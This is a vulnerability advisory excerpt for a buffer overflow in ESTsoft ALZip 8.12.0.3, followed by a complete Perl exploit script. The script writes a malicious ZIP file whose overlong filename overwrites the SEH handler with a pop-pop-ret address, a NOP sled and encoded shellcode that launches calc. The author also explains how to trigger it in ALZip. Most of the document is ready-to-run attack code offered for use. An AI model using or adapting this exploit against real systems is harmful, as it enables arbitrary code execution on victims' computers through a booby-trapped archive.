source: https://www.securityfocus.com/bid/45917/info
ESTsoft ALZip is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.
Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.
ESTsoft ALZip 8.12.0.3 is vulnerable; other versions may also be affected.###[+]Exploit Title: Exploit Buffer Overflow AlZip(SEH)#[+]Date: 01\19\2010#[+]Author: C4SS!0 G0M3S#[+]Software Link: http://www.altools.com/al/downloads/alzip/ALZip812.exe#[+]Version: 8.12.0.3#[+]Tested on: WIN-XP SP3 PORTUGUESE BRAZILIAN#[+]CVE: N/A####Note:Exploit for the work you have to run program in DOS##C: \> Exploit.pl exploit.zip##In this case my Exploit Creates the zip file exploit.zip#In the open ALZip Click "OPEN"pass the mouse over the specially crafted file and #keeps the mouse on top of the file does not click on it and wait then BOOM APPEARS THE CALC##Watch This Video: http://www.youtube.com/watch?v=PTV_tZinI6w############ #################### ## ################ ############################## ## ## ### ## ## #### #### ## ### ######## #### ## ### ## ########## ######## ########## ## ### ###### #### ## ### ###### #### ## ### ############################# ## ### ###########################\/ ################ ###
use strict;
use warnings;
system("cls");
system("color 4f");
sub USAGE
{
print q
{############################################## ##Exploit Buffer Overflow AlZip(SEH) # #C4SS!0 G0M3S ##Louredo_@hotmail.com ##Site http://www.invasao.com.br ## ##############################################[+]Exploit: Exploit Buffer Overflow AlZip(SEH)[+]Date: 01\\19\\2010
[+]Auhtor: C4SS!0 G0M3S
[+]Home: http://www.invasao.com.br
[+]E-mail: Louredo_@hotmail.com
[+]Version: 8.12.0.3
[+]Impact: Critical
Note:
Look Comments Above for More Information as the Exploit Works
};}if($#ARGV!=0){
USAGE;
print "[-]Usage: $0 <File_Name>\n";
print "[-]Exemple: $0 Exploit.zip\n";exit(0);}
my $sploitfile=$ARGV[0];
my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00"."\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"."\x00\x00\x00\x00\x00\x00\x00\x00"."\xe4\x0f"."\x00\x00\x00";
my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14"."\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x00"."\xe4\x0f"."\x00\x00\x00\x00\x00\x00\x01\x00"."\x24\x00\x00\x00\x00\x00\x00\x00";
my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00"."\x00\x01\x00\x01\x00"."\x12\x10\x00\x00"."\x02\x10\x00\x00"."\x00\x00";
USAGE;
print "[*]Identifying the Length Shellcode\n";sleep(1);
my $shellcode =
"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"."\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"."\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"."\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"."\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"."\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a".#Shellcode WINEXEC CALC"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"."\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"."\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"."\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"."\x7f\xe8\x7b\xca";
my $payload = "A" x 1060;$payload.= "\xeb\x08\x90\x90";$payload.= pack('V',0x61309258);$payload.= "\x90" x 10;$payload.= $shellcode;
print "[*]The length Shellcode:".length($shellcode)."\n";sleep(1);$payload.= "\x42" x (4064 - length($payload));$payload=$payload.".txt";
my $evilzip = $ldf_header.$payload.$cdf_header.$payload.$eofcdf_header;
print "[*]Creating the File $ARGV[0]\n";sleep(1);
open(FILE,">$sploitfile") or die("ERROR:$!");
print FILE $evilzip;
close(FILE);
print "[*]The File $ARGV[0] was Successfully Created\n";sleep(1);